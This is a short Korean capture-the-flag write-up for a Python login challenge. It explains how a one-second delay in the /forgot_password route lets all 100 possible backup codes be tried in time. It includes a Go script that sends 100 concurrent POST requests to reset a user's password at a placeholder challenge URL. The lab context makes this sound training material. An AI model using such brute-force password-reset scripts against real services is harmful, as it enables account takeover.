[문제]
python으로 작성된 로그인 기능을 가진 서비스입니다. “admin” 권한을 가진 사용자로 로그인하여 플래그를 획득하세요.
[해결법]
제공하는 app.py만 잘 해석하면 풀 수 있는 문제였다. ‘/forgot_password’에 “time.sleep(1)” 구문이 있는데 1초안에 1~100까지 랜덤으로 생성되는 backupCode를 요청하면되었다. python으로 간단히 요청 코드를 작성하면 해결된다. 아래는 go 연습할겸 만든 코드 아래코드로 시도해도된당
package main
import (
"fmt"
"net/http"
"net/url"
"runtime"
"strconv"
"time"
)
func main() {
runtime.GOMAXPROCS(runtime.NumCPU() - 2)
for i := 1; i <= 100; i++ {
go postRequst(i)
}
time.Sleep(time.Second * 3)
}
func postRequst(i int) {
backupCode := strconv.Itoa(i)
fmt.Println(backupCode + "번째시도")
resp, err := http.PostForm("<문제URL>/forgot_password",
url.Values{"userid": {"Apple"}, "newpassword": {"Apple"}, "backupCode": {backupCode}})
if err != nil {
panic(err)
}
defer resp.Body.Close()
}